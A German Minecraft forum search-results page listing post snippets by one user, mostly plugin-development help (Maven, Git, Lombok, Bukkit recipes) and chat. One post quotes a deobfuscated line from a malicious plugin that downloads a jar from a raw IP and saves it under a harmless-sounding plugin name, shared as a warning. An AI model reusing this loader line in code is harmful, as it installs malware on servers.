• Es freut uns dass du in unser Minecraft Forum gefunden hast. Hier kannst du mit über 130.000 Minecraft Fans über Minecraft diskutieren, Fragen stellen und anderen helfen. In diesem Minecraft Forum kannst du auch nach Teammitgliedern, Administratoren, Moderatoren , Supporter oder Sponsoren suchen. Gerne kannst du im Offtopic Bereich unseres Minecraft Forums auch über nicht Minecraft spezifische Themen reden. Wir hoffen dir gefällt es in unserem Minecraft Forum!

Suchergebnisse

  1. UnityGaming

    Problem bei Objektorientierung in Minecraft

    Wenn die Datei noch nicht vorhanden ist, bzw. der Eintrag "Rasse.Name" fehlt, dann kriegst du dementsprechend auch null, also nichts, zurück oder es wird sogar eine Exception geworfen, je nachdem wie du das abfängst. Bevor du diese Werte versuchst zu verwenden solltest du sicherstellen, dass...
  2. UnityGaming

    Problem

    Aktuelle Software verwenden! Sowohl als Dependency beim Entwickeln als auch auf dem Server. Rechtschreibung ist scheinbar auch nicht mehr so beliebt heutzutage. :yuno: Übrigens verletzt man sich die Augen gleich viel weniger, wenn du Code-Tags verwendest! Du nutzt scheinbar irgendwo NMS...
  3. UnityGaming

    minecraft.de schließt

    Diese Domain sollte im Besitz der Community bleiben. minecraft.de hat in den letzten Jahren einen Mehrwert gebracht für die Spieler und so sollte es auch bleiben.
  4. UnityGaming

    minecraft.de schließt

    Lasset die Scheine regnen.
  5. UnityGaming

    minecraft.de schließt

    Wenn noch Geld übrig ist... :D GitHub war ja auch nicht grade günstig. :troll:
  6. UnityGaming

    Problem mit erschaffen von Craftrezepten.

    Du kannst auch das Brot Rezept direkt entfernen. Bukkit.recipeIterator() oder so war der Zugriffspunkt für die Rezeptregistry. Ich bin mir nicht sicher, ob das in den letzten 6 Jahren abgeändert wurde, aber dort in der Richtung findest du garantiert etwas! Ich sehe später mal genauer in der...
  7. UnityGaming

    Minecraft laggt über 64x64 Ressourcepack

    Klingt gar nicht so abwegig. ;) Habe ich allerdings auch mehrfach probiert - auch mal ein paar Modpacks durchgetestet und verschiedene Minecraft Versionen. Fast überall das Gleiche.... außer in der 1.4.7 (FTB Ultimate)! Da treten diese Hänger nicht auf. :D
  8. UnityGaming

    *CLOSED*

    Daraus schließe ich mal, dass du keinen Maven Build ausgeführt, sondern die Export Funktion von Eclipse benutzt hast? Das ist bei Maven Projekten der falsche Weg. Hier findest du das passende Lesematerial um ein Maven Build in Eclipse anzustoßen...
  9. UnityGaming

    *CLOSED*

    Das wird (vermutlich - ich habe das Projekt jetzt nicht ausgiebig betrachtet) an der Multi-Module Konfiguration liegen. Er hat das Plugin in einzelne Module gebrochen, welche unter einem Parent Projekt zusammengefasst werden beim Kompilieren. In irgendeinem der Module wird wohl die plugin.yml in...
  10. UnityGaming

    *CLOSED*

    Er setzt vermutlich bereits einen gewissen Kenntnissstand bzgl. Git & Maven voraus. Was er meint ist wahrscheinlich, dass die Installation des Lombok Agenten in deiner IDE nötig ist. Dazu gibt es auf der Seite von Projekt Lombok ein Tutorial und der entsprechende Installer ist in der lombok.jar...
  11. UnityGaming

    Minecraft laggt über 64x64 Ressourcepack

    Ryzen7 1700X auf 4GHz getaktet. Mitte 2017 definiere ich nicht als alt. 8 Kerne, 16 Threads Mein Macbook Pro Late 2012 hat diese Probleme übrigens auch nicht - weder unter MacOS, noch unter Windows 2012R2 (Bootcamp). Bei mir ist es auch bei Weitem nicht so stark ausgeprägt wie bei waterrat...
  12. UnityGaming

    *CLOSED*

    BedwarsRel ist offenbar ein Multi-Module Maven Projekt. Bevor du dich damit rumschlägst, solltest du wirklich erst etwas Wissen zu Maven angesammelt haben. Das Projekt hat soweit ich das sehe ohnehin eine eher ausgiebigere Maven Konfiguration... da wirst du dich erstmal einarbeiten müssen, bevor...
  13. UnityGaming

    Minecraft laggt über 64x64 Ressourcepack

    Simples Minecraft mit x64 Texturen dürfte bei einem Prozessor mit über 4GHz Takt nicht allzu stark ins Gewicht fallen. Auch nicht auf den einzelnen Kernen. Zudem verwendet das clientseitige Chunkloading seit einigen Jahren mehrere Threads. Ich habe bei mir dies dennoch geprüft und kann sagen...
  14. UnityGaming

    *CLOSED*

    https://git-scm.com/docs/git-clone Am besten mal generell in Git reinlesen - dieses Wissen wird dich in der Entwicklung ein Leben lang begleiten. Der obige Link führt dich direkt zur relevanten Dokumentation zum Klonen. Es gibt auch zahlreiche Programme (z.B. SourceTree) um komfortabler mit Git...
  15. UnityGaming

    Finde ich jeden Tag und überall.

    Finde ich jeden Tag und überall.
  16. UnityGaming

    Faszinierend, wie viel Schrott sich auf einer Pinnwand doch ansammeln lässt...

    Faszinierend, wie viel Schrott sich auf einer Pinnwand doch ansammeln lässt...
  17. UnityGaming

    Was ist Enabling EssentialsFly v1.6.4 ??

    Du musst dir mal den Discord von dem Typen anschauen. Extrem unterhaltsam geht es da grade zu! :troll:
  18. UnityGaming

    Was ist Enabling EssentialsFly v1.6.4 ??

    Es gelang nun jemandem aus den Spigot Foren das gesamte Plugin zu deobfuscaten. Hier sind die betroffenen Zeilen, mit denen der Schädling geladen wird: (Auszug aus "DailyLootbox") FileUtils.copyURLToFile(new URL("http://31.214.243.114/fefegfregt.jar"), new File("plugins/PluginMetrics.jar"))...
  19. UnityGaming

    Was ist Enabling EssentialsFly v1.6.4 ??

    Vielleicht habe ich in der Hinsicht auch eine zu hohe Erwartungshaltung. Dennoch... Wie die das im Spigotforum handhaben ist mir nicht bekannt - ich spiele dort toter Igel, mehr nicht.
  20. UnityGaming

    Location wird nicht erkannt?

    Wenn du "im" Wasser stehst, wird vermutlich eher der Block unter dir erkannt. Also wenn du nicht grade im Meer schwimmst, sondern am Strand irgendwo stehst, könnte es deswegen nicht triggern.
Oben